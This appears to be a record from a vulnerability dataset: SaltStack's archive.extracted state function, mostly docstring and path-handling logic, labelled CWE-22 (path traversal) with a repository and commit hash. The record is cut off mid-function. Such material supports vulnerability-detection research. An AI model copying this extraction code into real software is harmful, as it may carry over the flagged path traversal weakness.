            # case where the state fails, so we only fail the state if
            # is_missing is not used.
            ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, the following '
            'paths were missing:\n'
        )
        for item in enforce_missing:
            ret['comment'] += '\n- {0}'.format(item)

    if enforce_failed:
        ret['result'] = False
        ret['comment'] += (
            '\n\nWhile trying to enforce user/group ownership, Salt was '
            'unable to change ownership on the following paths:\n'
        )
        for item in enforce_failed:
            ret['comment'] += '\n- {0}'.format(item)

    if not source_is_local:
        if keep_source:
            log.debug('Keeping cached source file %s', cached)
        else:
            log.debug('Cleaning cached source file %s', cached)
            result = __states__['file.not_cached'](source_match, saltenv=__env__)
            if not result['result']:
                # Don't let failure to delete cached file cause the state
                # itself to fail, just drop it in the warnings.
                ret.setdefault('warnings', []).append(result['comment'])

    return ret",CWE-22,saltstack/salt,faf87cfbab80464135e3388ecffc098ccc047e5c,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: https://mydomain.tld/dir2/foo.tar.gz
                - source_hash: https://mydomain.tld/hashes
                - source_hash_name: ./dir2/foo.tar.gz

        .. note::
            This argument must contain the full filename entry from the
            checksum file, as this argument is meant to disambiguate matches
            for multiple files that have the same basename. So, in the
            example above, simply using ``foo.txt`` would not match.

        .. versionadded:: 2016.11.0

    source_hash_update : False
        Set this to ``True`` if archive should be extracted if source_hash has
        changed. This would extract regardless of the ``if_missing`` parameter.

        .. versionadded:: 2016.3.0

    skip_verify : False
        If ``True``, hash verification of remote file sources (``http://``,
        ``https://``, ``ftp://``) will be skipped, and the ``source_hash``
        argument will be ignored.

        .. versionadded:: 2016.3.4

    keep_source : True
        For ``source`` archives not local to the minion (i.e. from the Salt
        fileserver or a remote source such as ``http(s)`` or ``ftp``), Salt
        will need to download the archive to the minion cache before they can
        be extracted. To remove the downloaded archive after extraction, set
        this argument to ``False``.

        .. versionadded:: 2017.7.3

    keep : True
        Same as ``keep_source``, kept for backward-compatibility.

        .. note::
            If both ``keep_source`` and ``keep`` are used, ``keep`` will be
            ignored.

    password
        **For ZIP archives only.** Password used for extraction.

        .. versionadded:: 2016.3.0
        .. versionchanged:: 2016.11.0
          The newly-added :py:func:`archive.is_encrypted
          <salt.modules.archive.is_encrypted>` function will be used to
          determine if the archive is password-protected. If it is, then the
          ``password`` argument will be required for the state to proceed.

    options
        **For tar and zip archives only.**  This option can be used to specify
        a string of additional arguments to pass to the tar/zip command.

        If this argument is not used, then the minion will attempt to use
        Python's native tarfile_/zipfile_ support to extract it. For zip
        archives, this argument is mostly used to overwrite existing files with
        ``o``.

        Using this argument means that the ``tar`` or ``unzip`` command will be
        used, which is less platform-independent, so keep this in mind when
        using this option; the CLI options must be valid options for the
        ``tar``/``unzip`` implementation on the minion's OS.

        .. versionadded:: 2016.11.0
        .. versionchanged:: 2015.8.11,2016.3.2
            XZ-compressed tar archives no longer require ``J`` to manually be
            set in the ``options``, they are now detected automatically and
            decompressed using the xz_ CLI command and extracted using ``tar
            xvf``. This is a more platform-independent solution, as not all tar
            implementations support the ``J`` argument for extracting archives.

        .. note::
            For tar archives, main operators like ``-x``, ``--extract``,
            ``--get``, ``-c`` and ``-f``/``--file`` should *not* be used here.

    list_options
        **For tar archives only.** This state uses :py:func:`archive.list
        <salt.modules.archive.list_>` to discover the contents of the source
        archive so that it knows which file paths should exist on the minion if
        the archive has already been extracted. For the vast majority of tar
        archives, :py:func:`archive.list <salt.modules.archive.list_>` ""just
        works"". Archives compressed using gzip, bzip2, and xz/lzma (with the
        help of the xz_ CLI command) are supported automatically. However, for
        archives compressed using other compression types, CLI options must be
        passed to :py:func:`archive.list <salt.modules.archive.list_>`.

        This argument will be passed through to :py:func:`archive.list
        <salt.modules.archive.list_>` as its ``options`` argument, to allow it
        to successfully list the archive's contents. For the vast majority of
        archives, this argument should not need to be used, it should only be
        needed in cases where the state fails with an error stating that the
        archive's contents could not be listed.

        .. versionadded:: 2016.11.0

    force : False
        If a path that should be occupied by a file in the extracted result is
        instead a directory (or vice-versa), the state will fail. Set this
        argument to ``True`` to force these paths to be removed in order to
        allow the archive to be extracted.

        .. warning::
            Use this option *very* carefully.

        .. versionadded:: 2016.11.0

    overwrite : False
        Set this to ``True`` to force the archive to be extracted. This is
        useful for cases where the filenames/directories have not changed, but
        the content of the files have.

        .. versionadded:: 2016.11.1

    clean : False
        Set this to ``True`` to remove any top-level files and recursively
        remove any top-level directory paths before extracting.

        .. note::
            Files will only be cleaned first if extracting the archive is
            deemed necessary, either by paths missing on the minion, or if
            ``overwrite`` is set to ``True``.

        .. versionadded:: 2016.11.1

    user
        The user to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    group
        The group to own each extracted file. Not available on Windows.

        .. versionadded:: 2015.8.0
        .. versionchanged:: 2016.3.0
            When used in combination with ``if_missing``, ownership will only
            be enforced if ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership will be enforced only on the file/directory paths found
            by running :py:func:`archive.list <salt.modules.archive.list_>` on
            the source archive. An alternative root directory on which to
            enforce ownership can be specified using the
            ``enforce_ownership_on`` argument.

    if_missing
        If specified, this path will be checked, and if it exists then the
        archive will not be extracted. This path can be either a directory or a
        file, so this option can also be used to check for a semaphore file and
        conditionally skip extraction.

        .. versionchanged:: 2016.3.0
            When used in combination with either ``user`` or ``group``,
            ownership will only be enforced when ``if_missing`` is a directory.
        .. versionchanged:: 2016.11.0
            Ownership enforcement is no longer tied to this argument, it is
            simply checked for existence and extraction will be skipped if
            if is present.

    trim_output : False
        Useful for archives with many files in them. This can either be set to
        ``True`` (in which case only the first 100 files extracted will be
        in the state results), or it can be set to an integer for more exact
        control over the max number of files to include in the state results.

        .. versionadded:: 2016.3.0

    use_cmd_unzip : False
        Set to ``True`` for zip files to force usage of the
        :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` function
        to extract.

        .. versionadded:: 2016.11.0

    extract_perms : True
        **For ZIP archives only.** When using :py:func:`archive.unzip
        <salt.modules.archive.unzip>` to extract ZIP archives, Salt works
        around an `upstream bug in Python`_ to set the permissions on extracted
        files/directories to match those encoded into the ZIP archive. Set this
        argument to ``False`` to skip this workaround.

        .. versionadded:: 2016.11.0

    enforce_toplevel : True
        This option will enforce a single directory at the top level of the
        source archive, to prevent extracting a 'tar-bomb'. Set this argument
        to ``False`` to allow archives with files (or multiple directories) at
        the top level to be extracted.

        .. versionadded:: 2016.11.0

    enforce_ownership_on
        When ``user`` or ``group`` is specified, Salt will default to enforcing
        permissions on the file/directory paths detected by running
        :py:func:`archive.list <salt.modules.archive.list_>` on the source
        archive. Use this argument to specify an alternate directory on which
        ownership should be enforced.

        .. note::
            This path must be within the path specified by the ``name``
            argument.

        .. versionadded:: 2016.11.0

    archive_format
        One of ``tar``, ``zip``, or ``rar``.

        .. versionchanged:: 2016.11.0
            If omitted, the archive format will be guessed based on the value
            of the ``source`` argument. If the minion is running a release
            older than 2016.11.0, this option is required.

    .. _tarfile: https://docs.python.org/2/library/tarfile.html
    .. _zipfile: https://docs.python.org/2/library/zipfile.html
    .. _xz: http://tukaani.org/xz/

    **Examples**

    1. tar with lmza (i.e. xz) compression:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6

    2. tar archive with flag for verbose output, and enforcement of user/group
       ownership:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - options: v
               - user: foo
               - group: foo

    3. tar archive, with ``source_hash_update`` set to ``True`` to prevent
       state from attempting extraction unless the ``source_hash`` differs
       from the previous time the archive was extracted:

       .. code-block:: yaml

           graylog2-server:
             archive.extracted:
               - name: /opt/
               - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
               - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
               - source_hash_update: True
    '''
    ret = {'name': name, 'result': False, 'changes': {}, 'comment': ''}

    # Remove pub kwargs as they're irrelevant here.
    kwargs = salt.utils.args.clean_kwargs(**kwargs)

    if 'keep_source' in kwargs and 'keep' in kwargs:
        ret.setdefault('warnings', []).append(
            'Both \'keep_source\' and \'keep\' were used. Since these both '
            'do the same thing, \'keep\' was ignored.'
        )
        keep_source = bool(kwargs.pop('keep_source'))
        kwargs.pop('keep')
    elif 'keep_source' in kwargs:
        keep_source = bool(kwargs.pop('keep_source'))
    elif 'keep' in kwargs:
        keep_source = bool(kwargs.pop('keep'))
    else:
        # Neither was passed, default is True
        keep_source = True

    if not _path_is_abs(name):
        ret['comment'] = '{0} is not an absolute path'.format(name)
        return ret
    else:
        if not name:
            # Empty name, like None, '' etc.
            ret['comment'] = 'Name of the directory path needs to be specified'
            return ret
        # os.path.isfile() returns False when there is a trailing slash, hence
        # our need for first stripping the slash and then adding it back later.
        # Otherwise, we can't properly check if the extraction location both a)
        # exists and b) is a file.
        #
        # >>> os.path.isfile('/tmp/foo.txt')
        # True
        # >>> os.path.isfile('/tmp/foo.txt/')
        # False
        name = name.rstrip(os.sep)
        if os.path.isfile(name):
            ret['comment'] = '{0} exists and is not a directory'.format(name)
            return ret
        # Add back the slash so that file.makedirs properly creates the
        # destdir if it needs to be created. file.makedirs expects a trailing
        # slash in the directory path.
        name += os.sep
    if not _path_is_abs(if_missing):
        ret['comment'] = 'Value for \'if_missing\' is not an absolute path'
        return ret
    if not _path_is_abs(enforce_ownership_on):
        ret['comment'] = ('Value for \'enforce_ownership_on\' is not an '
                          'absolute path')
        return ret
    else:
        if enforce_ownership_on is not None:
            try:
                not_rel = os.path.relpath(enforce_ownership_on,
                                          name).startswith('..' + os.sep)
            except Exception:
                # A ValueError is raised on Windows when the paths passed to
                # os.path.relpath are not on the same drive letter. Using a
                # generic Exception here to keep other possible exception types
                # from making this state blow up with a traceback.
                not_rel = True
            if not_rel:
                ret['comment'] = (
                    'Value for \'enforce_ownership_on\' must be within {0}'
                    .format(name)
                )
                return ret

    if if_missing is not None and os.path.exists(if_missing):
        ret['result'] = True
        ret['comment'] = 'Path {0} exists'.format(if_missing)
        return ret

    if user or group:
        if salt.utils.platform.is_windows():
            ret['comment'] = \
                'User/group ownership cannot be enforced on Windows minions'
            return ret

        if user:
            uid = __salt__['file.user_to_uid'](user)
            if uid == '':
                ret['comment'] = 'User {0} does not exist'.format(user)
                return ret
        else:
            uid = -1

        if group:
            gid = __salt__['file.group_to_gid'](group)
            if gid == '':
                ret['comment'] = 'Group {0} does not exist'.format(group)
                return ret
        else:
            gid = -1
    else:
        # We should never hit the ownership enforcement code unless user or
        # group was specified, but just in case, set uid/gid to -1 to make the
        # os.chown() a no-op and avoid a NameError.
        uid = gid = -1

    if source_hash_update and not source_hash:
        ret.setdefault('warnings', []).append(
            'The \'source_hash_update\' argument is ignored when '
            '\'source_hash\' is not also specified.'
        )

    try:
        source_match = __salt__['file.source_list'](source,
                                                    source_hash,
                                                    __env__)[0]
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = exc.strerror
        return ret

    urlparsed_source = _urlparse(source_match)
    urlparsed_scheme = urlparsed_source.scheme
    urlparsed_path = os.path.join(
        urlparsed_source.netloc,
        urlparsed_source.path).rstrip(os.sep)

    # urlparsed_scheme will be the drive letter if this is a Windows file path
    # This checks for a drive letter as the scheme and changes it to file
    if urlparsed_scheme and \
            urlparsed_scheme.lower() in string.ascii_lowercase:
        urlparsed_path = ':'.join([urlparsed_scheme, urlparsed_path])
        urlparsed_scheme = 'file'

    source_hash_basename = urlparsed_path or urlparsed_source.netloc

    source_is_local = urlparsed_scheme in salt.utils.files.LOCAL_PROTOS
    if source_is_local:
        # Get rid of ""file://"" from start of source_match
        source_match = os.path.realpath(os.path.expanduser(urlparsed_path))
        if not os.path.isfile(source_match):
            ret['comment'] = 'Source file \'{0}\' does not exist'.format(
                                salt.utils.url.redact_http_basic_auth(source_match))
            return ret

    valid_archive_formats = ('tar', 'rar', 'zip')
    if not archive_format:
        archive_format = salt.utils.files.guess_archive_type(source_hash_basename)
        if archive_format is None:
            ret['comment'] = (
                'Could not guess archive_format from the value of the '
                '\'source\' argument. Please set this archive_format to one '
                'of the following: {0}'.format(', '.join(valid_archive_formats))
            )
            return ret
    try:
        archive_format = archive_format.lower()
    except AttributeError:
        pass
    if archive_format not in valid_archive_formats:
        ret['comment'] = (
            'Invalid archive_format \'{0}\'. Either set it to a supported '
            'value ({1}) or remove this argument and the archive format will '
            'be guesseed based on file extension.'.format(
                archive_format,
                ', '.join(valid_archive_formats),
            )
        )
        return ret

    if options is not None and not isinstance(options, six.string_types):
        options = six.text_type(options)

    strip_components = None
    if options and archive_format == 'tar':
        try:
            strip_components = int(
                re.search(
                    r'''--strip(?:-components)?(?:\s+|=)[""']?(\d+)[""']?''',
                    options
                ).group(1)
            )
        except (AttributeError, ValueError):
            pass

    if archive_format == 'zip':
        if options:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of CLI options in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to True.', name
                )
                use_cmd_unzip = True
            elif not use_cmd_unzip:
                # use_cmd_unzip explicitly disabled
                ret['comment'] = (
                    '\'use_cmd_unzip\' cannot be set to False if CLI options '
                    'are being specified (via the \'options\' argument). '
                    'Either remove \'use_cmd_unzip\', or set it to True.'
                )
                return ret
            if use_cmd_unzip:
                if 'archive.cmd_unzip' not in __salt__:
                    ret['comment'] = (
                        'archive.cmd_unzip function not available, unzip might '
                        'not be installed on minion'
                    )
                    return ret
        if password:
            if use_cmd_unzip is None:
                log.info(
                    'Presence of a password in archive.extracted state for '
                    '\'%s\' implies that use_cmd_unzip is set to False.', name
                )
                use_cmd_unzip = False
            elif use_cmd_unzip:
                ret.setdefault('warnings', []).append(
                    'Using a password in combination with setting '
                    '\'use_cmd_unzip\' to True is considered insecure. It is '
                    'recommended to remove the \'use_cmd_unzip\' argument (or '
                    'set it to False) and allow Salt to extract the archive '
                    'using Python\'s built-in ZIP file support.'
                )
    else:
        if password:
            ret['comment'] = \
                'The \'password\' argument is only supported for zip archives'
            return ret

    if archive_format == 'rar':
        if 'archive.unrar' not in __salt__:
            ret['comment'] = (
                'archive.unrar function not available, rar/unrar might '
                'not be installed on minion'
            )
            return ret

    supports_options = ('tar', 'zip')
    if options and archive_format not in supports_options:
        ret['comment'] = (
            'The \'options\' argument is only compatible with the following '
            'archive formats: {0}'.format(', '.join(supports_options))
        )
        return ret

    if trim_output:
        if trim_output is True:
            trim_output = 100
        elif not isinstance(trim_output, (bool, six.integer_types)):
            try:
                # Try to handle cases where trim_output was passed as a
                # string-ified integer.
                trim_output = int(trim_output)
            except TypeError:
                ret['comment'] = (
                    'Invalid value for trim_output, must be True/False or an '
                    'integer'
                )
                return ret

    if source_hash:
        try:
            source_sum = __salt__['file.get_source_sum'](
                source=source_match,
                source_hash=source_hash,
                source_hash_name=source_hash_name,
                saltenv=__env__)
        except CommandExecutionError as exc:
            ret['comment'] = exc.strerror
            return ret
    else:
        source_sum = {}

    if source_is_local:
        cached = source_match
    else:
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = (
                'Archive {0} would be cached (if necessary) and checked to '
                'discover if extraction is needed'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        if 'file.cached' not in __states__:
            # Shouldn't happen unless there is a traceback keeping
            # salt/states/file.py from being processed through the loader. If
            # that is the case, we have much more important problems as _all_
            # file states would be unavailable.
            ret['comment'] = (
                'Unable to cache {0}, file.cached state not available'.format(
                    salt.utils.url.redact_http_basic_auth(source_match)
                )
            )
            return ret

        try:
            result = __states__['file.cached'](source_match,
                                               source_hash=source_hash,
                                               source_hash_name=source_hash_name,
                                               skip_verify=skip_verify,
                                               saltenv=__env__)
        except Exception as exc:
            msg = 'Failed to cache {0}: {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    exc.__str__())
            log.exception(msg)
            ret['comment'] = msg
            return ret
        else:
            log.debug('file.cached: %s', result)

        if result['result']:
            # Get the path of the file in the minion cache
            cached = __salt__['cp.is_cached'](source_match, saltenv=__env__)
        else:
            log.debug(
                'failed to download %s',
                salt.utils.url.redact_http_basic_auth(source_match)
            )
            return result

    existing_cached_source_sum = _read_cached_checksum(cached)

    if source_hash and source_hash_update and not skip_verify:
        # Create local hash sum file if we're going to track sum update
        _update_checksum(cached)

    if archive_format == 'zip' and not password:
        log.debug('Checking %s to see if it is password-protected',
                  source_match)
        # Either use_cmd_unzip was explicitly set to True, or was
        # implicitly enabled by setting the ""options"" argument.
        try:
            encrypted_zip = __salt__['archive.is_encrypted'](
                cached,
                clean=False,
                saltenv=__env__)
        except CommandExecutionError:
            # This would happen if archive_format=zip and the source archive is
            # not actually a zip file.
            pass
        else:
            if encrypted_zip:
                ret['comment'] = (
                    'Archive {0} is password-protected, but no password was '
                    'specified. Please set the \'password\' argument.'.format(
                        salt.utils.url.redact_http_basic_auth(source_match)
                    )
                )
                return ret

    try:
        contents = __salt__['archive.list'](cached,
                                            archive_format=archive_format,
                                            options=list_options,
                                            strip_components=strip_components,
                                            clean=False,
                                            verbose=True)
    except CommandExecutionError as exc:
        contents = None
        errors = []
        if not if_missing:
            errors.append('\'if_missing\' must be set')
        if not enforce_ownership_on and (user or group):
            errors.append(
                'Ownership cannot be managed without setting '
                '\'enforce_ownership_on\'.'
            )
        msg = exc.strerror
        if errors:
            msg += '\n\n'
            if archive_format == 'tar':
                msg += (
                    'If the source archive is a tar archive compressed using '
                    'a compression type not natively supported by the tar '
                    'command, then setting the \'list_options\' argument may '
                    'allow the contents to be listed. Otherwise, if Salt is '
                    'unable to determine the files/directories in the '
                    'archive, the following workaround(s) would need to be '
                    'used for this state to proceed'
                )
            else:
                msg += (
                    'The following workarounds must be used for this state to '
                    'proceed'
                )
            msg += (
                ' (assuming the source file is a valid {0} archive):\n'
                .format(archive_format)
            )

            for error in errors:
                msg += '\n- {0}'.format(error)
        ret['comment'] = msg
        return ret

    if enforce_toplevel and contents is not None \
            and (len(contents['top_level_dirs']) > 1
                 or contents['top_level_files']):
        ret['comment'] = ('Archive does not have a single top-level directory. '
                          'To allow this archive to be extracted, set '
                          '\'enforce_toplevel\' to False. To avoid a '
                          '\'{0}-bomb\' it may also be advisable to set a '
                          'top-level directory by adding it to the \'name\' '
                          'value (for example, setting \'name\' to {1} '
                          'instead of {2}).'.format(
                              archive_format,
                              os.path.join(name, 'some_dir'),
                              name,
                          ))
        return ret

    extraction_needed = overwrite
    contents_missing = False

    # Check to see if we need to extract the archive. Using os.lstat() in a
    # try/except is considerably faster than using os.path.exists(), and we
    # already need to catch an OSError to cover edge cases where the minion is
    # running as a non-privileged user and is trying to check for the existence
    # of a path to which it does not have permission.
    try:
        if_missing_path_exists = os.path.exists(if_missing)
    except TypeError:
        if_missing_path_exists = False

    if not if_missing_path_exists:
        if contents is None:
            try:
                os.lstat(if_missing)
                extraction_needed = False
            except OSError as exc:
                if exc.errno == errno.ENOENT:
                    extraction_needed = True
                else:
                    ret['comment'] = (
                        'Failed to check for existence of if_missing path '
                        '({0}): {1}'.format(if_missing, exc.__str__())
                    )
                    return ret
        else:
            incorrect_type = []
            for path_list, func in \
                    ((contents['dirs'], stat.S_ISDIR),
                     (contents['files'], lambda x: not stat.S_ISLNK(x)
                                         and not stat.S_ISDIR(x)),
                     (contents['links'], stat.S_ISLNK)):
                for path in path_list:
                    full_path = salt.utils.path.join(name, path)
                    try:
                        path_mode = os.lstat(full_path.rstrip(os.sep)).st_mode
                        if not func(path_mode):
                            incorrect_type.append(path)
                    except OSError as exc:
                        if exc.errno == errno.ENOENT:
                            extraction_needed = True
                            contents_missing = True
                        elif exc.errno != errno.ENOTDIR:
                            # In cases where a directory path was occupied by a
                            # file instead, all os.lstat() calls to files within
                            # that dir will raise an ENOTDIR OSError. So we
                            # expect these and will only abort here if the
                            # error code is something else.
                            ret['comment'] = exc.__str__()
                            return ret

            if incorrect_type:
                incorrect_paths = '\n\n' + '\n'.join(
                    ['- {0}'.format(x) for x in incorrect_type]
                )
                ret['comment'] = (
                    'The below paths (relative to {0}) exist, but are the '
                    'incorrect type (file instead of directory, symlink '
                    'instead of file, etc.).'.format(name)
                )
                if __opts__['test'] and clean and contents is not None:
                    ret['result'] = None
                    ret['comment'] += (
                        ' Since the \'clean\' option is enabled, the '
                        'destination paths would be cleared and the '
                        'archive would be extracted.{0}'.format(
                            incorrect_paths
                        )
                    )
                    return ret

                # Skip notices of incorrect types if we're cleaning
                if not (clean and contents is not None):
                    if not force:
                        ret['comment'] += (
                            ' To proceed with extraction, set \'force\' to '
                            'True. Note that this will remove these paths '
                            'before extracting.{0}'.format(incorrect_paths)
                        )
                        return ret
                    else:
                        errors = []
                        for path in incorrect_type:
                            full_path = os.path.join(name, path)
                            try:
                                salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                                ret['changes'].setdefault(
                                    'removed', []).append(full_path)
                                extraction_needed = True
                            except OSError as exc:
                                if exc.errno != errno.ENOENT:
                                    errors.append(exc.__str__())
                        if errors:
                            msg = (
                                'One or more paths existed by were the incorrect '
                                'type (i.e. file instead of directory or '
                                'vice-versa), but could not be removed. The '
                                'following errors were observed:\n'
                            )
                            for error in errors:
                                msg += '\n- {0}'.format(error)
                            ret['comment'] = msg
                            return ret

    if not extraction_needed \
            and source_hash_update \
            and existing_cached_source_sum is not None \
            and not _compare_checksum(cached, existing_cached_source_sum):
        extraction_needed = True
        source_hash_trigger = True
    else:
        source_hash_trigger = False

    created_destdir = False

    if extraction_needed:
        if source_is_local and source_hash and not skip_verify:
            ret['result'] = __salt__['file.check_hash'](source_match, source_sum['hsum'])
            if not ret['result']:
                ret['comment'] = \
                    '{0} does not match the desired source_hash {1}'.format(
                        salt.utils.url.redact_http_basic_auth(source_match),
                        source_sum['hsum']
                    )
                return ret

        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would be extracted to {1}'.format(
                    salt.utils.url.redact_http_basic_auth(source_match),
                    name
                )
            if clean and contents is not None:
                ret['comment'] += ', after cleaning destination path(s)'
            _add_explanation(ret, source_hash_trigger, contents_missing)
            return ret

        if clean and contents is not None:
            errors = []
            log.debug('Cleaning archive paths from within %s', name)
            for path in contents['top_level_dirs'] + contents['top_level_files']:
                full_path = os.path.join(name, path)
                try:
                    log.debug('Removing %s', full_path)
                    salt.utils.files.rm_rf(full_path.rstrip(os.sep))
                    ret['changes'].setdefault(
                        'removed', []).append(full_path)
                except OSError as exc:
                    if exc.errno != errno.ENOENT:
                        errors.append(exc.__str__())

            if errors:
                msg = (
                    'One or more paths could not be cleaned. The following '
                    'errors were observed:\n'
                )
                for error in errors:
                    msg += '\n- {0}'.format(error)
                ret['comment'] = msg
                return ret

        if not os.path.isdir(name):
            __states__['file.directory'](name, user=user, makedirs=True)
            created_destdir = True

        log.debug('Extracting %s to %s', cached, name)
        try:
            if archive_format == 'zip':
                if use_cmd_unzip:
                    try:
                        files = __salt__['archive.cmd_unzip'](
                            cached,
